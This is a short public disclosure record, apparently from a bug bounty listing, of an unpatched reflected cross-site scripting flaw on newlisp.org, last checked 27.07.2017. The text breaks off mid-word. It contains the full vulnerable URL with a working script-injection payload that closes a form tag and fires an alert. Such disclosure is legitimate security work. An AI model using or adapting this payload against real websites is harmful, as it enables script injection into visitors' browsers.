newlisp.org XSS vulnerability

Vulnerable URL: http://www.newlisp.org/index.cgi?page=DifferencestoOtherLISPs%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...